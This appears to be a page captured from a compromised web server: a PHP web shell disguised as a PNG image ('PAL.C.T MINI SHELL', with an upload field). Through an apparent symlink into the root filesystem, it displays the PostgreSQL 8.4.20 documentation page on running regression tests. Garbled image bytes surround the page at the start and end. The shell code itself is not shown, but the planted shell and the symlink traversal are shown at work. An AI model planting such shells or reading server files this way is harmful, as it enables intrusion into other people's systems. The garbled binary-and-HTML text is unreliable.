php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/share/doc/postgresql-8.4.20/html/
upload
files >> /var/www/html/sub/images/sym/root/usr/share/doc/postgresql-8.4.20/html/regress-run.html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<HTML
><HEAD
><TITLE
>Running the Tests</TITLE
><META
NAME="GENERATOR"
CONTENT="Modular DocBook HTML Stylesheet Version 1.79"><LINK
REV="MADE"
HREF="mailto:pgsql-docs@postgresql.org"><LINK
REL="HOME"
TITLE="PostgreSQL 8.4.20 Documentation"
HREF="index.html"><LINK
REL="UP"
TITLE="Regression Tests"
HREF="regress.html"><LINK
REL="PREVIOUS"
TITLE="Regression Tests"
HREF="regress.html"><LINK
REL="NEXT"
TITLE="Test Evaluation"
HREF="regress-evaluation.html"><LINK
REL="STYLESHEET"
TYPE="text/css"
HREF="stylesheet.css"><META
HTTP-EQUIV="Content-Type"
CONTENT="text/html; charset=ISO-8859-1"><META
NAME="creation"
CONTENT="2014-02-17T20:05:31"></HEAD
><BODY
CLASS="SECT1"
><DIV
CLASS="NAVHEADER"
><TABLE
SUMMARY="Header navigation table"
WIDTH="100%"
BORDER="0"
CELLPADDING="0"
CELLSPACING="0"
><TR
><TH
COLSPAN="5"
ALIGN="center"
VALIGN="bottom"
>PostgreSQL 8.4.20 Documentation</TH
></TR
><TR
><TD
WIDTH="10%"
ALIGN="left"
VALIGN="top"
><A
HREF="regress.html"
ACCESSKEY="P"
>Prev</A
></TD
><TD
WIDTH="10%"
ALIGN="left"
VALIGN="top"
><A
HREF="regress.html"
>Fast Backward</A
></TD
><TD
WIDTH="60%"
ALIGN="center"
VALIGN="bottom"
>Chapter 29. Regression Tests</TD
><TD
WIDTH="10%"
ALIGN="right"
VALIGN="top"
><A
HREF="regress.html"
>Fast Forward</A
></TD
><TD
WIDTH="10%"
ALIGN="right"
VALIGN="top"
><A
HREF="regress-evaluation.html"
ACCESSKEY="N"
>Next</A
></TD
></TR
></TABLE
><HR
ALIGN="LEFT"
WIDTH="100%"></DIV
><DIV
CLASS="SECT1"
><H1
CLASS="SECT1"
><A
NAME="REGRESS-RUN"
>29.1. Running the Tests</A
></H1
><P
>   The regression tests can be run against an already installed and
   running server, or using a temporary installation within the build
   tree.  Furthermore, there is a <SPAN
CLASS="QUOTE"
>"parallel"</SPAN
> and a
   <SPAN
CLASS="QUOTE"
>"sequential"</SPAN
> mode for running the tests.  The
   sequential method runs each test script in turn, whereas the
   parallel method starts up multiple server processes to run groups
   of tests in parallel.  Parallel testing gives confidence that
   interprocess communication and locking are working correctly.  For
   historical reasons, the sequential test is usually run against an
   existing installation and the parallel method against a temporary
   installation, but there are no technical reasons for this.
  </P
><P
>   To run the regression tests after building but before installation,
   type:
</P><PRE
CLASS="SCREEN"
>gmake check</PRE
><P>
   in the top-level directory.  (Or you can change to
   <TT
CLASS="FILENAME"
>src/test/regress</TT
> and run the command there.)
   This will first build several auxiliary files, such as
   some sample user-defined trigger functions, and then run the test driver
   script.  At the end you should see something like:
</P><PRE
CLASS="SCREEN"
><SAMP
CLASS="COMPUTEROUTPUT"
>=======================
 All 115 tests passed.
=======================</SAMP
></PRE
><P>
   or otherwise a note about which tests failed.  See <A
HREF="regress-evaluation.html"
>Section 29.2</A
> below before assuming that a
   <SPAN
CLASS="QUOTE"
>"failure"</SPAN
> represents a serious problem.
  </P
><DIV
CLASS="WARNING"
><P
></P
><TABLE
CLASS="WARNING"
BORDER="1"
WIDTH="100%"
><TR
><TD
ALIGN="CENTER"
><B
>Warning</B
></TD
></TR
><TR
><TD
ALIGN="LEFT"
><P
>    This test method starts a temporary server, which is configured to accept
    any connection originating on the local machine.  Any local user can gain
    database superuser privileges when connecting to this server, and could
    in principle exploit all privileges of the operating-system user running
    the tests.  Therefore, it is not recommended that you use <TT
CLASS="LITERAL"
>gmake
    check</TT
> on machines shared with untrusted users.  Instead, run the tests
    after completing the installation, as described in the next section.
   </P
><P
>    On Unix-like machines, this danger can be avoided if the temporary
    server's socket file is made inaccessible to other users, for example
    by running the tests in a protected chroot.  On Windows, the temporary
    server opens a locally-accessible TCP socket, so filesystem protections
    cannot help.
   </P
></TD
></TR
></TABLE
></DIV
><P
>    Because this test method runs a temporary server, it will not work
    if you did the build as the root user, since the server will not start as
    root.  Recommended procedure is not to do the build as root, or else to
    perform testing after completing the installation.
   </P
><P
>    If you have configured <SPAN
CLASS="PRODUCTNAME"
>PostgreSQL</SPAN
> to install
    into a location where an older <SPAN
CLASS="PRODUCTNAME"
>PostgreSQL</SPAN
>
    installation already exists, and you perform <TT
CLASS="LITERAL"
>gmake check</TT
>
    before installing the new version, you might find that the tests fail
    because the new programs try to use the already-installed shared
    libraries.  (Typical symptoms are complaints about undefined symbols.)
    If you wish to run the tests before overwriting the old installation,
    you'll need to build with <TT
CLASS="LITERAL"
>configure --disable-rpath</TT
>.
    It is not recommended that you use this option for the final installation,
    however.
   </P
><P
>    The parallel regression test starts quite a few processes under your
    user ID.  Presently, the maximum concurrency is twenty parallel test
    scripts, which means forty processes: there's a server process and a
    <SPAN
CLASS="APPLICATION"
>psql</SPAN
> process for each test script.
    So if your system enforces a per-user limit on the number of processes,
    make sure this limit is at least fifty or so, else you might get
    random-seeming failures in the parallel test.  If you are not in
    a position to raise the limit, you can cut down the degree of parallelism
    by setting the <TT
CLASS="LITERAL"
>MAX_CONNECTIONS</TT
> parameter.  For example:
</P><PRE
CLASS="SCREEN"
>gmake MAX_CONNECTIONS=10 check</PRE
><P>
    runs no more than ten tests concurrently.
   </P
><P
>   To run the tests after installation (see <A
HREF="installation.html"
>Chapter 15</A
>),
   initialize a data area and start the
   server, as explained in <A
HREF="runtime.html"
>Chapter 17</A
>,  then type:
</P><PRE
CLASS="SCREEN"
>gmake installcheck</PRE
><P>
or for a parallel test:
</P><PRE
CLASS="SCREEN"
>gmake installcheck-parallel</PRE
><P>
   The tests will expect to contact the server at the local host and the
   default port number, unless directed otherwise by <TT
CLASS="ENVAR"
>PGHOST</TT
> and
   <TT
CLASS="ENVAR"
>PGPORT</TT
> environment variables.
  </P
><P
>   The source distribution also contains regression tests for the optional
   procedural languages and for some of the <TT
CLASS="FILENAME"
>contrib</TT
> modules.
   At present, these tests can be used only against an already-installed
   server.  To run the tests for all procedural languages that have been
   built and installed, change to the <TT
CLASS="FILENAME"
>src/pl</TT
> directory of the
   build tree and type:
</P><PRE
CLASS="SCREEN"
>gmake installcheck</PRE
><P>
   You can also do this in any of the subdirectories of <TT
CLASS="FILENAME"
>src/pl</TT
>
   to run tests for just one procedural language.  To run the tests for all
   <TT
CLASS="FILENAME"
>contrib</TT
> modules that have them, change to the
   <TT
CLASS="FILENAME"
>contrib</TT
> directory of the build tree and type:
</P><PRE
CLASS="SCREEN"
>gmake installcheck</PRE
><P>
   The <TT
CLASS="FILENAME"
>contrib</TT
> modules must have been built and installed first.
   You can also do this in a subdirectory of <TT
CLASS="FILENAME"
>contrib</TT
> to run
   the tests for just one module.
  </P
></DIV
><DIV
CLASS="NAVFOOTER"
><HR
ALIGN="LEFT"
WIDTH="100%"><TABLE
SUMMARY="Footer navigation table"
WIDTH="100%"
BORDER="0"
CELLPADDING="0"
CELLSPACING="0"
><TR
><TD
WIDTH="33%"
ALIGN="left"
VALIGN="top"
><A
HREF="regress.html"
ACCESSKEY="P"
>Prev</A
></TD
><TD
WIDTH="34%"
ALIGN="center"
VALIGN="top"
><A
HREF="index.html"
ACCESSKEY="H"
>Home</A
></TD
><TD
WIDTH="33%"
ALIGN="right"
VALIGN="top"
><A
HREF="regress-evaluation.html"
ACCESSKEY="N"
>Next</A
></TD
></TR
><TR
><TD
WIDTH="33%"
ALIGN="left"
VALIGN="top"
>Regression Tests</TD
><TD
WIDTH="34%"
ALIGN="center"
VALIGN="top"
><A
HREF="regress.html"
ACCESSKEY="U"
>Up</A
></TD
><TD
WIDTH="33%"
ALIGN="right"
VALIGN="top"
>Test Evaluation</TD
></TR
></TABLE
></DIV
></BODY
></HTML
>
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`